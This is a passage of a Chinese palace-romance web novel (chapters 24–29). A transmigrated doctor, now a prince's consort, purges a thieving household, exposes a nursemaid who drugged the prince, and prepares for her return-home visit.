林泉一顿,随即不敢轻视的回答道:“回王妃娘娘,王府一部分是从前流落在外,王爷觉得可怜带回王府的,一部分是在皇宫里跟着太妃面前服侍的,后来进了王府,还有一些是奴才从人牙子那买回来的清白奴才,这些奴才都是王爷看过了点头答应进府伺候的。” 听着林泉的话,沈听晚不禁正眼看向他。 这不愧是王府的管家,就连说话都是滴水不漏,让人挑不出半点毛病。 “那你呢?你是这上头的那种人呢?” 管家神色一顿,扯了扯嘴角随即恭维笑道:“奴才是王爷出宫建府后就在王府的。” 第24章 到底谁是王府的蛀虫 “所以你算是王府里的老人了,那本王妃以后还得和林管家多取取经才是呢。”沈听晚脸上带着和顺开口。 林泉松了口气,嘴角扯出一抹笑意“娘娘客气了,从今往后王妃若有什么不懂的,尽管问奴才就是了。 ” 沈听晚勾了勾唇角:“那本王妃就不客气了,现下还真有一件事儿向问问林管家。” “王妃娘娘请讲。” 沈听晚却突然话锋一转,言辞犀利的道:“王府上下有这么多人,林管家一人可为他们做担保,他们都是对王府忠心不二的人吗?” 林泉神色一凝,脸上的表情顿时僵住一瞬,抬眼打量起沈听晚。 不知道为什么,这位刚嫁进门来的王妃,总给人一种不好欺负的感觉。 “换句话说,王府里的人都是手脚干净的吗?” 此话一出,台下一片哗然响起,不少人开始小声议论起来。 “王妃娘娘,这是什么意思啊,那是怀疑我们对王府有二心?” “新官上任三把火嘛,王妃刚嫁进门,肯定得找人立威啊,这样才能叫咱们王爷觉得她是个有能力的。” “那她立威,就要拿我们这些兢兢业业的老实人开刀,凭什么啊?” “哎呀,说话小声点,忘了白天厨房的那些人都被王妃罚了?曹嬷嬷的脸现在还肿着呢,你也想被打巴掌啊?” …… 众人小声的议论纷纷,提到后厨的那些下人,不少人都朝着他们投去同情的目光。 后厨的下人是沈听晚开的第一刀,接下来,就不知道谁会是下一个倒霉蛋会被盯上了。 面对一群人的小声议论,沈听晚却面不改色,冷声开口:“想说什么大点声,来,让本王妃也听听。” 一句话,台下瞬间变得寂静无声,纷纷低下头去,生怕自己一不小心就变成那个小倒霉蛋。 沈听晚垂了垂眼:“方才本王妃在整理嫁妆的时候,无意间发现,里头少了点东西,本王妃要送给殿下的鸳鸯佩不见了,你们说说,本王妃这才刚进门,碰见这府上有手脚不干净的,该如何处置啊?” 林泉脸色变得难看的紧,方才他还担保府上绝无二心之人,后脚王妃就丢了东西,这岂不是在打他的脸吗? “王妃娘娘,这其中是不是有什么误会?要不奴才先带人找一找,兴许是王妃不小心落在什么地方了呢?”林泉挤出一个笑脸来上前一步开口。 “怎么?”沈听晚一个抬眼看过去,眼神冰冷瞪向林泉:“林管家是觉得本王妃闲着没事干要冤枉谁吗?” “奴才不敢。” “哼!”沈听晚白了一眼:“那枚鸳鸯佩曾是先帝赏赐,要是在王府丢了,整个王府都会跟着倒霉。” 这话一出,众人瞬间大惊失色。 丢失皇室赏赐之物,可是重罪啊! “今儿本王妃给你们一个机会,若是不小心拿了这鸳鸯佩,主动交上来,本王妃可以从轻发落,否则的话……”沈听晚双眼微眯,嘴角带着一抹不达眼底的笑意:“可就别怪本王妃不念及情分了!” 沈听晚的话一说出口,一众人相互看着摇头。 什么鸳鸯佩? 他们是连见都没见过啊。 林泉脸色阴沉,转眼看向众人:“你们中到底是谁拿了王妃的东西,赶紧承认,否则若是抓出来,别说王妃娘娘,就连我都不会放过这颗老鼠屎!” 众人齐刷刷摇头:“我们没拿啊。” 底下曹嬷嬷微微眯了眯眼,眼底闪过一丝阴毒之色:“保不齐王妃自己丢了,害怕陛下责罚,这才怪罪到我们头上来的!” 有了曹嬷嬷开口,不少下人也纷纷开口:“对啊,王妃昨日才进门,哪里会有这么巧的事儿,今天就丢了御赐之物啊……” 沈听晚抬眼朝着曹嬷嬷方向看了一眼,嘴角勾起一抹冷笑。 看样子,这曹嬷嬷是还没长记性! 沈听晚抬眼朝着暗祁方向看去,暗祁心领神会,大步冲下去走到曹嬷嬷跟前,抬手又是两巴掌,随即冷声喝道:“放肆!” “你打我!”曹嬷嬷不敢置信的瞪过去,先前她在王府仗着自己是王爷的奶嬷嬷,什么时候不昂着头走,政府上下所有人都不敢得罪她,就连王爷身边最亲近的两个侍卫都对她礼敬有加。 可是现在呢? 短短不到一天,她就被掌了两次嘴,而且都是在众目睽睽之下,这叫曹嬷嬷如何能受得住。 “你们……你们翻了天了,我要见殿下,殿下一定不会放任她在这儿胡作非为!”曹嬷嬷气急败坏的呵斥道。 “想见殿下?”沈听晚冷笑着出声:“曹嬷嬷还是少指着王爷给你做主了罢。” 抬眼睨向众人:“谁还和曹嬷嬷一样的想法?站出来让本王妃看看?” 这下子,哪里还敢有人说什么,纷纷向后退了两步,只是那看向沈听晚的眼神,却多了几分厌恶之色。 这才第一天就把王府闹的乌烟瘴气,以后他们的日子可就更难过了啊! “既然都不肯承认,那好,暗祁暗蒙,你们两个去给我搜!只放过每一个房间,本王妃倒要看看,这王府的蛀虫究竟是谁!” “是!”暗祁暗蒙齐齐开口。 林泉沉默一瞬,在两个侍卫即将抬脚要走时,突然间开口:“王妃娘娘,奴才最熟悉每个下人的屋子,让奴才也帮暗祁暗蒙侍卫去查一查吧。” 沈听晚定定地看向林泉,并未急着开口,她在看,看林泉脸上的表情有没有什么异常。 不过很可惜,林泉满脸坦荡,似乎是真心实意想去帮忙似的。 沈听晚勾了勾唇,语气和善的拒绝道:“林管家还是留下来帮本王妃看着这些人吧,院子里的人不少,若是偷偷溜出去一两个,本王妃一个人可发现不了。” 林泉眉心一凝,随即讪讪开口:“是,奴才听从王妃安排。” 沈听晚看了一眼林泉,别再开口说什么,还是静静的等着暗祁两人去搜东西。 然而,沈听晚的举动,无疑是让不少人心慌忐忑,曹嬷嬷的脸色更为明显的心虚。 第25章 曹嬷嬷是凶手? 暮色降临,天上一抹残月照射在每个人的身上,沈听晚也不着急,叫人搬来了一把椅子坐好,微微轻磕上眼闭目养神。 不多时,暗祁暗蒙手上拿着两个箱子,脸色阴沉的走过来。 “王妃娘娘,属下无能,并未找到王妃丢失的鸳鸯佩。” 听见动静,沈听晚缓缓睁开眼来,红唇微启:“哦,那么说本王妃是错怪大家了?” “王妃。”这时,暗祁又将头紧低:“属下虽未能找到玉佩,但却在几个房间里找点些别的。” 沈听晚挑了挑眉,随即笑眯眯开口:“哦?都找到什么了?” 暗祁暗蒙将箱子打开:“在三个侍卫房间里找到银票,面额都高达八百两,五个婢女院子里相继找到一个金镶玉的镯子,一对玉如意,还有三根镶嵌宝石的簪子,还有在曹嬷嬷的房间里发现一包药粉和一个包袱,包袱里面全部都是男人的里衣……”暗祁越说越气,到后面甚至都已经算得上是咬牙切齿了。 他们这一年的时间,一心全扑倒了王爷身上,却没想到这王府里竟然多出来了这么多的蛀虫。 要不是今天,他们可能都不知道,王府都要被蛀没了! 特别是曹嬷嬷,想不到她竟然就是毒害王爷的凶手,而且……而且她竟然还…… 想到这里,暗祁看向曹嬷嬷的眼神都有些生寒。 一切都在沈听晚的意料之中,她抬眼巡视了一眼众人,最终目光定格在林泉身上:“林管家,这就是你说的忠心不二? 王府里头,随随便便一个侍卫都能拿出那么多银子啊?还有这丫鬟婆子,怎么,王府富到这个程度?一根价值千两的簪子都能随便赏下去?”沈听晚拿起一根簪子在手中看了看,随即慵懒地开口。 她虽然不知道这簪子的价值,不过见着成色,便知道不是一个丫鬟能买得起的。 林泉脸色难看低下头去,一双手紧张的搓着衣角:“王妃娘娘,是奴才管教不严,请王妃责罚!” 被搜出东西的几个人也立马脸色变得惨白,浑身颤抖的将头可在地上:“奴才该死,奴才一时糊涂,求王妃娘娘开恩啊……” 曹嬷嬷也是没想到,她这么长时间都没被发现的秘密,却在沈听晚进门第二天被扒个底朝天。 眼中闪过一抹恨意,死死地瞪向沈听晚。 “把这些人都先关起来,之后等本王妃与王爷商量过后,再处置吧。” 沈听晚懒得搭理林泉,今天闹这么一场,就是为了抓到给君翊下毒的人,现在人找到了,还顺手揪出来几只老鼠,心情倒是不错。 抬眼看向曹嬷嬷,便发现她正好一双恶毒的眸子瞪着自己,沈听晚勾了勾唇,淡淡开口:“曹嬷嬷,单独关押。” “是!” 暗祁使了个眼色,几个侍卫上前,随即便把跪在地上的那几人押了下去。 院子里少了几个人的身影,一时之间,骤然变得鸦雀无声。 沈听晚起身,扫视了在场的人一眼。 “这王府里为什么会出现怎么样的情况,林管家知道吗?” 林泉紧低下头去,小心翼翼开口:“奴才愚钝……” “那是因为人太多了,本王妃看,倒是可以适当缩减些,王府里只有本王妃和王爷,用不了这么多人伺候。” 林泉抽了抽嘴角,却不敢多说什么:“是……” “今儿本王妃回去后就和王爷商量一下,将人数缩减一半,至于名单到时候我会让暗祁交给林管家。” 林泉哪敢说不同意,只怕他前脚说拒绝,后脚这缩减名单里就会赫然出现他的名字。 “但凭王妃做主。” “行了,都下去吧,本王妃也罚了。”沈听晚略带倦意的打了个哈欠,折腾了这么久,她的确有些累了,不过却还不是能休息的时候。 见着众人离开,沈听晚开口叫住暗祁暗蒙:“我们两个留下。” 林泉的脸色又变了不少,悄悄看了暗祁暗蒙两眼,陷入沉思。 王妃娘娘好像对这两个侍卫很是信任…… 待众人都走远,两人才上前一步将东西递给沈听晚:“王妃,您看一下这是不是就是王爷中的毒?” 沈听晚看了一眼随即接过来,却并没有要检查的意思,而是朝着房间里头走去。 “有什么话进去说。” 免得说完了,她等下回去还得和君翊叙述一遍,麻烦的很。 君翊此时躺在床上,看向沈听晚身后跟着两个满脸焦急的侍卫,嗓音低沉的说:“人抓到了?” 沈听晚自信的晃了晃手上的药粉:“自然,有我出马就没有抓不到的人。” 见着沈听晚笑弯了双眼,下一瞬见她打开手中药包,脸上的笑已僵住。 “怎么样王妃娘娘,是殿下中的那种毒吗?” 沈听晚拿过药包打开,凑到鼻尖闻了闻,面容一沉:“是寒食散。” “什么药?” “是一种可以使人产生幻觉的药,长期服用,会使人意识消退,渐渐丧失求生欲。”抬眼看向君翊:“汤药中其中一种,但并不是你所中之毒。” “什么?” 暗祁暗蒙两人相视一眼,脸色也变得难看起来,随即又满脸的不敢置信所。 所以他们废了这么大半天的劲,还是没抓到那个凶手? “是属下无能,肯定是属下疏忽,没把王府搜个彻底,王妃王爷,属下这就去再把王府搜一遍!” 这一次,他们俩就算是把王府掘地三尺,也必须找到那个给王爷下毒的人! “你们两个回来!”见着两个侍卫不由分说就要出门的架势,沈听晚头疼的很,立马开口叫住两人的脚步。 “这一次搜查,已经叫人起了疑心,再搜一次,岂不是让那人察觉咱们的目的了?” “可是……属下白白浪费了这么好的机会,若再想抓到那人怕是没那么容易了。”暗祁暗蒙两人挫败的低下头去,脸上满是愧疚和不甘心。 更何况,抓不到王府究竟是谁对他们王爷下的手,他们怎么能心安啊! 第26章 曹嬷嬷不会看上你了吧? “也不算是浪费,不是,抓到了那几个蛀虫和曹嬷嬷吗。”沈听晚淡淡道:“给王爷下毒的人,隐藏极为隐秘,若是真的这么容易就抓到他了,反倒让人觉得可疑了。” 沈听晚转眼看向君翊:“最起码日后那人会有所收敛,短时间内不敢再有所行动了,王爷,你觉得呢?” “嗯,你刚才说曹嬷嬷?” 沈听晚恍然开口:“哦对,忘记和你说了,这包药就是从曹嬷嬷房间里找到的,还有一个包袱的东西,暗祁,是什么来着?”说着,沈听晚转眼又向暗祁的方向投去询问的目光。 暗祁脸色一变,有些不知道如何说出口,可是抬眼却看着自家王爷王妃的目光纷纷看向自己,只好硬着头皮道:“是……是一些王爷的贴身衣物……” 而且还都是穿过的! 沈听晚俊美的小脸僵住,随即一点点皲裂开来:“是什么?” 是她没听清吗? 君翊的脸色也变得难看,如同锅底灰似的铁青。 然而,沈听晚接下来的话,更是叫君翊恨不得寻个地缝钻进去。 “王爷,这曹嬷嬷不会也看上你了吧?” 君翊猛地瞪向沈听晚,仿佛被沈听晚的话惊到了,心里更是升起一股恶心感,嗓音冷冽:“你胡说什么?” 沈听晚缩了缩脖子,不服气的道:“这是我胡说吗,王府里那么多男人,曹嬷嬷谁的贴身衣物都不拿,偏偏拿你的,你觉得是为什么?” 沈听晚说到这里,忍不住啧了啧舌,看向君翊的眼神也带着些许怪异,小声嘀咕道:“要说你这人也是太怪了,怎么还老少通吃呢?” 年纪小的有即是侄女又是外甥女的宝郡主对他念念不忘,上了岁数的还有王府里曹嬷嬷虎视眈眈。 这还真是有一种照进事实的既视感啊。 这要是现实生活当中,哪里会有这么狗血的事儿发生啊? 君翊脸色黑的要命,紧盯着沈听晚咬牙切齿:“那她还给本王下毒呢!” 要说喜欢他,还能给他下毒? 沈听晚撇了撇嘴:“谁知道她究竟是怎么想的!” 君翊无视沈听晚眼底的调侃与嘲笑,黑着一张脸沉声开口:“你们去审一审,看看曹嬷嬷背后究竟是什么人。” 君翊深吸一口气,在继续这个话题,他可能会被活活气死。 “是。” 两个侍卫退了出去,房间里又剩下沈听晚和君翊两人,空气陷入了凝滞。 沈听晚率先打破沉默:“看来你这王府也不是无懈可击的啊。” 甚至可以说用千疮百孔来形容更加贴切一些。 君翊垂下晦暗的眸,沉默一瞬,嗓音温润柔和,却带着一丝自嘲地道:“一年前本王受重伤被人抬回王府,九死一生被救回来,却被告知本王再也无法恢复如初,甚至都无法像正常人一样走路,本王连活下去的希望都没有,哪还会有心思管王府这些人。” 如果不是沈听晚的出现,君翊想,他估计真的过不去这个年关了。 沈听晚看着君翊平静的叙述着那段他最不愿意记起的回忆,她愣了一瞬,沉默下来。 其实,在这纸片人世界当中,沈听晚最同情的就是君翊了。 他就像是被多走气运的男主,本应该拥有大好的前途和顺遂人生,可却就这样被人夺走所有的好运与希冀。 沈听晚叹了口气,收回视线:“你现在可以想想了。” 君翊沉浸在自己的思绪当中,听见沈听晚的话,一时没反应过神来:“想什么?” “想以后啊,有我在,你迟早有一天会痊愈,难不成等你好了再处理着乌烟瘴气的王府?” 谢澜之眼底划过一抹暗光:“这不是有王妃帮忙?” 沈听晚歪着头:“我能帮你,以后呢?我要走了你找谁帮你?” 君翊: “……” 他脸上的俊郎的面庞,瞬间裂开了。 他唇角勾着的笑意弧度也快速凝结。 君翊深呼一口气,差点吐血地道:“就这么想走?” 沈听晚:不然呢? 她还能一辈子待在王府?! “行了,这事暂且不提,还有一件事要跟你说,我准备将王府里的下人缩减一半,我想你心里应该有人选,回头告诉暗祁他们一个名单,王府里的钉子是应该拔一拔了。” 君翊又问道:“你知道王府有眼线?” 沈听晚视线从君翊身上移开,抬手掰着手指头淡声分析道:“寻常侍卫一年的俸禄最多也就一百五十两,可王府侍卫呢,动不动就能搜出来八百两银票,丫鬟婆子更不用说了,那金银珠宝首饰啥的更是搜罗出来一箱子,你别告诉我这些都是他们偷王府库房的?” 抬眼看向君翊看过来的眼神,她能够感觉到,君翊表面上看似很听话,但是言语间对她的试探却从来都没有停止过。 不过沈听晚也不在乎,有些事情既然做了,那便无法不叫人生疑。 不过她现在就是沈听晚,这一点,无论君翊怎么调查,也是无法改变的事实。 是要她掩饰好自己不被人发现自己魂穿这幅身体上,就算是怀疑,君翊也找不到任何证据。 “我去叫人在房间里放一张软榻吧。”沈听晚淡淡开口说道。 君翊看过去:“怎么?王妃是要与本王分床睡?” 沈听晚翻了个白眼:“昨天是迫不得已,宫里头的人看着呢,怎么,王爷还想我们一直睡一张床上吗?” 就算是君翊同意,她还不同意呢! 君翊抿了抿唇,垂眼下去:“明天再说吧。” 沈听晚挑了挑眉,没急着开口,视线却一直看着他。 “今日太晚了,折腾的话整个王府都会知道。”君翊好脾气的解释着:“你不是也说了,现在王府上下到处都是眼线,你也不想我们夫妇大婚第二日就分床睡的事情传到皇宫里去吧?” 听着君翊的话,沈听晚觉得也有道理,但是总感觉这不是君翊全部的理由。 她深吸一口气:“那好吧,明天再说。” 反正她也不在乎和君翊在一个床上多睡一晚。 第27章 竟起了这种卑劣的心思 在现代,她作为军医,在外面做任务那会,可是经常在外留宿,有时候连一张床都没有,她和士兵们都是地为床天为盖,有时候赶上冬天,都是几人蜷在一起来取暖的。 那时候,可没有功夫给沈听晚讲究什么男女大防。 想到这些,沈听晚也很快接受,坐在床上将鞋袜一脱,便合衣躺在了床边。 “明天继续施针。” 沈听晚背对着君翊,双眼微闭,语气间略带些许倦怠开口。 “好。” 两人不在说话,沈听晚或许是白天忙的事太多,没有片刻喘息的机会,人一沾到床,便很快熟睡过去。 听着床边传来沈听晚均匀而又平缓的呼吸声,君翊缓缓转头就那么目不转睛的看着她。 往日那双犹如死水般毫无波澜的双眸,渐渐泛起了涟漪。 “沈听晚……”君翊微微勾了勾唇,一双桃花眸中满是探索而又新奇的光芒,那双仿佛可以洞察一切的目光,深深的落在了沈听晚熟睡的容颜上。 她的身上,究竟藏着什么秘密? 下一瞬,沈听晚一个翻身,再一次给君翊来了个大大熊抱。 君翊:“……”抽了抽嘴角。 即便昨晚已经见识过了沈听晚惊人的睡姿,但眼看着眼前小姑娘主动的“投怀送抱”,君翊明亮的眼神深处却悄悄爬上了一丝不易察觉的暗沉。 他默默看向房顶,随之闭眼,努力忽视着沈听晚的存在。 …… 翌日清晨,许是因为这一觉无人打扰一觉睡到天亮,沈听晚醒来的也尤为早些。 她睁开眼来,便发现自己整个人恨不得都贴在了君翊的身上,一张俊美的小脸一红,忙从君翊的身上撤回来。 见着君翊还没醒来,沈听晚心里暗松了口气,好在君翊现在身上感受不到知觉,不然可就真的出大糗了。 慢手慢脚的坐起身来,正准备下床,身后便传开一道略带沙哑的男人声音响起:“醒了?” 沈听晚动作一顿,转头看过去,嘴角勉强勾起一抹笑,打着哈哈:“王爷早啊!昨晚睡得好吗?” 君翊:“昨晚……”抬眼意味深长的看向沈听晚,嘴角勾起一抹弧度:“王妃睡得应该不错。” 屋内的气氛瞬间凝固,仿佛静止,良久之后,沈听晚才反应过神来,尴尬的小脸红到了耳后,略带窘迫地道:“对不住啊,我睡相可能有点……” “那个,今晚我就让暗祁他们把软榻搬进来。”沈听晚又忙开口说道,心里则是觉得丢大人了。 估计君翊从小到大都没见过像她这样奇葩的睡姿吧。 暗祁站在门口,听到房间里传出自家王爷王妃的声音后,这才转身轻敲起门来。 “王爷,王妃。” 门外传开暗祁的声音,到时叫沈听晚觉得如释重负,连忙起身避开君翊的深邃眼神:“进来吧。” 暗祁缓缓推门进来,随即恭敬行礼:“王妃娘娘,回门礼已经备好了,王妃准备何时出门?” 东陵的规矩,新婚第三日,要回娘家。 原是应该夫妻二人一同回门,彰显夫家对新妇的重视,只可惜现在君翊无法起身更不便出门,所以也只能沈听晚一个人带着礼回去了。 沈听晚也似乎将回门的事情忘带了脑后,她猛拍了一下脑门:“倒是差点忘了。” 也不怪她记不得,毕竟真正意思上,沈听晚从未觉得她和君翊的婚事是真的,更何况,刚来到这纸片人世界,突然间要去面对从未见过的父母和兄长,沈听晚心里还是有着无法言说的感觉。 转头又看向君翊:“先给你弄好早膳,然后我再过去吧。” 说罢,沈听晚便忙起身,拿起梳子利落的给自己扎了个高高的马尾,简单清洗一番后匆匆出了门。 君翊躺在床上,静静的看着沈听晚手忙脚乱一阵后出门,嘴角勾起一抹浅浅的笑意。 他眼中闪过一丝光芒,似乎发现了什么一般,轻笑一声。 小姑娘还真是漏洞百出啊。 新妇回门,新媳妇一般都会说回家,倒是沈听晚,却是似乎并没有把将军府当做是自己的家呢。 “王爷,王妃娘娘对您真好,回门之前还记着要给您做早膳呢。”暗祁见着沈听晚匆匆出门,也是忍不住发出感慨。 看来,王妃娘娘真的是爱惨了他们王爷呀。 君翊压下微微上扬的嘴角:“去找个可靠的丫鬟,等下给王妃梳妆。” “是,王爷。” 暗祁的嘴角咧的越来越大。 他们王爷这一次好像真的铁树开了花呀。 这还是头一次他们王爷对一个女子这么关注一个女子呢。 趁着沈听晚不在房间,暗祁又立马回禀:“王爷,属下已经派人调查过了,王妃小时的确因为生病在神医谷小住了两年,只不过王妃究竟是不是在神医谷习得的医术,属下还需要再派人去神医谷一趟才能得知。” “不必去了。” 暗祁眼底闪过疑惑:“王爷不是要属下调查王妃?” 君翊垂下眼,掩饰住眼底闪过的一丝光亮:“王妃的医术就是在神医谷习得的,往后若是有人问起,就按照本王的话说。” 暗祁心里有一阵迟疑,怎么自家王爷昨天还要调查王妃,今天就改变主意了呢? “曹嬷嬷那里有什么发现?” 听到王爷开口,暗祁压下心里的疑惑,又赶忙开口:“曹嬷嬷是个不经打的,昨天晚上就已经招了,她承认是自己爱慕王爷,给王爷下了药,只不过给她那药的人,从来都没有说过药的厉害,只告诉她可以使王爷神智不清。” 暗祁越说,心里头就越是火冒三丈,到最后几乎是咬牙切齿的开口:“曹嬷嬷是想着,等王爷神志不清,她能够一直留在王爷身边伺候,想要一步步掌管王府,成为王府的女主人!” 曹嬷嬷是这么招供的,当暗祁暗蒙两人听到曹嬷嬷那些话的时候,心里头都是又惊又怒。 他们都没想到,曹嬷嬷竟然这么不知廉耻,一大把岁数了竟然对王爷存了这么卑劣的心思。 第28章 本王妃有这么吓人? 要不是王爷没开口,他们昨晚就恨不得将曹嬷嬷给大卸八块了! 君翊眼底闪过一丝冷光,心里更为觉得一阵恶寒,沉声开口:“她有没有交代给她药粉的人是谁?” 暗祁低下头去,眼底闪过一丝厌恶:“她自己都不知道那人是谁,只是有一天晚上,她有人在她房里送了一封信,告诉她每五天到后院废弃的院子西南角,有人会在砖瓦下放置药粉,曹嬷嬷也是这么拿到的。” 君翊微眯双眼:“王府后院吗……” 看来,府上这家贼还真不少。 “王爷,曹嬷嬷已经交代彻底了,她如何处置?” 君翊垂了垂眼,眼中闪过一丝杀意:“既然没用了就杀了吧。” “是!” “另外,这件事情不准告诉王妃,王妃若是问起,就说她经不住拷打,被吓死了。” 君翊想了一下又道:“曹嬷嬷如何得到药粉这件事情可以告诉王妃。” “属下明白了。” 暗祁心里头知道自家王爷的想法,奶嬷嬷喜欢上王爷,这件事情的确是闻所未闻,王妃这才刚嫁进王府,要是知道这些,肯定会被惊到。 “去库房里再挑一些战利品加到回门礼单上,本王记得前年冬天在西林山猎得几只黑狐,将那黑狐皮一并送过去。” 暗祁猛地抬头,眼底满是震惊:“王爷,那是要准备给您做……” 王爷这就要把那黑狐皮送出去了? 那可是黑狐啊!全东陵都找不出几只来,王爷一连猎了三只,当初就连皇帝开口向王爷讨要,王爷都没拿出来呢…… “废话那么多!”君翊眉头一皱,眼底带着不满:“本王无法和王妃一同回门,已是不妥,回门礼若不重些,会让人觉得王府对王妃怠慢。” 更何况,他现在都已经这样了,那黑虎皮留着还有何用,而沈将军就不一样了,有这黑狐皮做成大氅,冬日里外出打仗,可以暖和不少。 “是……”暗祁拗不过自家王爷,只好开口应下。 暗祁转身退下,这时沈听晚也端着早膳走进来:“时间比较仓促,你简单先吃些,我正午之前回来,今天施针改到下午。” 沈听晚一边说着,一边拿起碗来给君翊喂粥,清淡的蔬菜粥夹杂着淡淡药香,传入君翊的鼻腔。 君翊抬眼看向沈听晚:“先放着吧,等下让暗祁进来喂本王。” 沈听晚停顿一下,随即点点头:“也好,那我先收拾收拾。” 回门时辰也有讲求,眼看着要来不及了,沈听晚放下餐盒便准备为自己梳妆打扮。 只不过人坐在了梳妆台前,却犯了难。 她一个现代人,如何会梳古代的发髻啊,身边也没有个丫鬟,唯一的陪嫁还背叛了她被关柴房,上哪去找人给她梳妆啊…… 沈听晚心下叹气,她堂堂无所不能的全能型军医,不想今日却被一个小小的发髻难住了。 君翊躺在床上,将沈听晚小脸的窘迫和犯难看在眼里,知不觉间嘴角勾起,抹淡淡的笑。 不多时,正当沈听晚有些笨拙的摆弄着长发时,门外突然响起敲门声:“王妃娘娘,奴婢进来给您梳妆吧。” 沈听晚听到门外传开婢女的声音,瞬间觉得喜从天降啊,简直就是打瞌睡有人给递枕头啊。 她起身将床帷落下,遮住君翊在床上的身影,这才忙开口。 “快进来!” 不多时,便从门外走进来一个看上去十来岁小丫鬟装扮的姑娘,她紧低着头,不敢四处乱看,径直走到梳妆台前,随即恭恭敬敬的跪下来行礼:“奴婢参见王妃娘娘。” “起来吧。”沈听晚淡淡开口:“是谁叫你过来的?” 小丫鬟忙不迭道:“给王妃娘娘话,方才祁侍卫找到奴婢,说王妃娘娘身边无人服侍,便命奴婢来伺候王妃梳妆。” 沈听晚听着心下了然,视线有意无意地朝着床边看过去,只不过,床幕落下,她看不到君翊那满含笑意的面庞。 小丫鬟语气小心翼翼,满脸尽是忐忑惶恐,这还是她头一次进入王爷王妃的院子呢,从前一直都在院外洒在,没资格道这里来。 不过她可没有忘记,昨天晚上王妃整顿下人的严厉和狠绝,现下小丫头心里更加忐忑不宁了,生怕自己一个伺候不好,王妃再将她给发卖了。 小丫鬟越想越害怕,不知不觉竟然落下了不争气的泪来。 沈听晚看着有些惊讶,怎么这说着说着就哭了…… 她抽了抽嘴角,自己就这么吓人? “你哭什么?” 小丫鬟立马俯下身去叩首:“奴婢该死,请王妃娘娘恕罪!” 沈听晚叹了口气,大抵明白了,估计是昨晚她在王府闹得那一场,把这小丫头给吓到了。 “你叫什么名字?” “奴婢贱名秋月……” 沈听晚点点头:“那个秋月啊,你不必害怕,尽心尽力做好分内之事,本王妃不会无故惩罚一个人的。” 她耐着性子安慰道,自己把小丫头吓到了,脸上也带着愧疚之意开口。 秋月小心翼翼抬起头,红着眼睛看向沈听晚,见王妃眼底果然没没有生气要责罚自己的气势,连松了口气:“谢谢王妃娘娘!” 沈听晚看了一眼:“快起来吧,你还有半个时辰给我梳妆,若是梳的叫本王妃不满意,可就没有午饭吃了哦!” 这下子,秋月原本放下来的心又立马提回到了嗓子眼,忙惶恐地道:“是,奴婢定尽心服侍王妃娘娘。” 说着,秋月起身走到沈听晚身后,动作无比轻柔梳着头发,但因为心里头不安,加之太过紧张,手上的动作也无比僵硬,一连扯下了沈听晚好几根头发。 秋月小脸瞬间变得煞白起来,满眼绝望,心下彻底完了,一下子可就不是没有午饭吃那么简单了。 王妃娘娘不会有一个生气,直接将她打杀了吧…… 心里头也是这么想着,手上的动作便越僵,一手抖的一连掉了好几次梳子。 沈听晚睁开眼看过去,便见着秋月想哭不敢哭的样子,有软下心来,无奈叹了口气随即安慰道:“秋月,你别紧张,慢慢来别着急。” 第29章 回门 有了沈听晚的安慰,加上没有在王妃的脸上看到愤怒之色,秋月渐渐的放下心来,也没有那么紧张了,之后也没再犯错,直到一刻钟过去,秋月总算是将沈听晚的长发梳了起来。 沈听晚抬眼,左右看了看,眼底闪过一丝惊艳:“秋月,你的手艺很好啊,真的,很好看!” 沈听晚毫不吝啬地对秋月大为赞赏, 更是发自内心的感叹,不得不说,术业有专攻。 这发髻就算是给她一天的时间,她都学不来。 听到王妃的赞叹,秋月才敢悄悄朝着沈听晚的方向看过去,心也渐渐放松了不少。 好像王妃娘娘也似乎没那么凶啊。 秋月嘴角扯出来一抹笑,忙低下头去开口:“多谢王妃娘娘夸奖。” 接下来,秋月又给沈听晚换上了回门时应穿的正红色长裙,沈听晚站起身来看向铜镜中的自己,微微勾唇浅笑。 女子哪有不爱美的呢,沈听晚自然也不例外,只不过在现代她时常和男人一样摸爬滚打,根本没有打扮的时间。 如今换了一副容颜,这白皙的皮肤确实是比她原本小麦色的容貌要好看。 再加上红色锦缎群,高调中也不失端庄,手上戴着两根纤细白玉镯,更显清颜。 秋月给沈听晚梳妆过后,便恭敬地退出了房间,沈听晚见着门被关上,这才放心地走到床边撩开床帷。 在窗帘被掀开那一霎,君翊的目光也看向了沈听晚。看她发髻上的流苏随着她的小动作,微微摇晃,一双柳叶眉微微弯着,偶尔抿唇时,牵扯出的两个浅浅小梨涡,让人心中不禁升起一阵悸动。 特别是沈听晚身上穿的那一抹红白相间的长裙,叫君翊不禁回想起初见沈听晚的模样。 那一日,沈听晚身穿大红色婚服,浑身狼狈,可现在,却是令人满目惊艳。 “那我就先去了啊,你记得用膳,等下我回来还得给你施针呢。”沈听晚不放心的叮嘱道, 君翊勾勾唇,目光却迟迟无法从沈听晚的身上移开,声音似带着连他自己都没发现的宠溺。 “好。” 见着君翊答应,沈听晚才点点头,放心地出了门去。 暗祁暗蒙两侍卫站在门外,见着沈听晚出门,下意识看过去,眼底也闪过一阵惊艳。 他们王妃,简直就是京城中最美的女子啊! “你们两个在门外守着,我不回来,任何人不得进入房间单独见王爷,明白吗?” “王妃娘娘。”沈听晚的话音刚落,暗祁便开口:“王爷交代,命属下陪王妃一同会将军府,暗蒙留下来伺候王爷即可。” 沈听晚意外的挑了挑眉,嘴角含着一抹笑意。 君翊这家伙心还真细。 “也好,那我们现在就出发吧。” 说着,沈听晚便朝着门口的方向走去,让她看到门外马车后面跟着的一台台箱子是,心中更为震惊。 这回门礼,要这么多吗? 暗祁走上前来恭敬笑道:“这些都是王爷命属下准备的,王爷说了,您一人回门已是委屈了王妃,若不备上厚礼,担心将军会怪罪。” 沈听晚听着这话,心里倒是升起一丝暖意:“王爷有心了。” 坐上翊王府的马车,沈听晚心里突然间有一种很奇特的感觉。 说起来这算是她和这里的爹娘和兄长第一次相见,也不知道他们的性情如何? 她擅自主张在新婚之夜换婚,消息恐怕早已经传进了将军府。 不知道他们会不会怪罪自己。 想到这里,沈听晚的心突然间紧张起来,不知道等下面对几个从未见过的“亲人”她会不会暴露身份啊? 不知不觉间,马车便到了将军府大门外。 沈听晚感觉到马车停下,心中惆怅这条路还真是短。 踌躇着下了马车,一抬眼便看到了门外站着一对中年夫妻身后还站着一个意气风发的少年。 是她的父亲母亲和大哥。 门口沈夫人看着自己女儿下了马车,瞬间热泪盈眶的迎上去:“女儿,我的好女儿啊。” 沈听晚被沈夫人一把拉住手,下意识有些闪躲,察觉到面前妇人伤心落泪,微微扯动一下嘴角:“娘?”试探的唤了一声。 沈夫人脸上的泪水流的更多了。 “晚晚,我的晚晚,你受委屈了!” 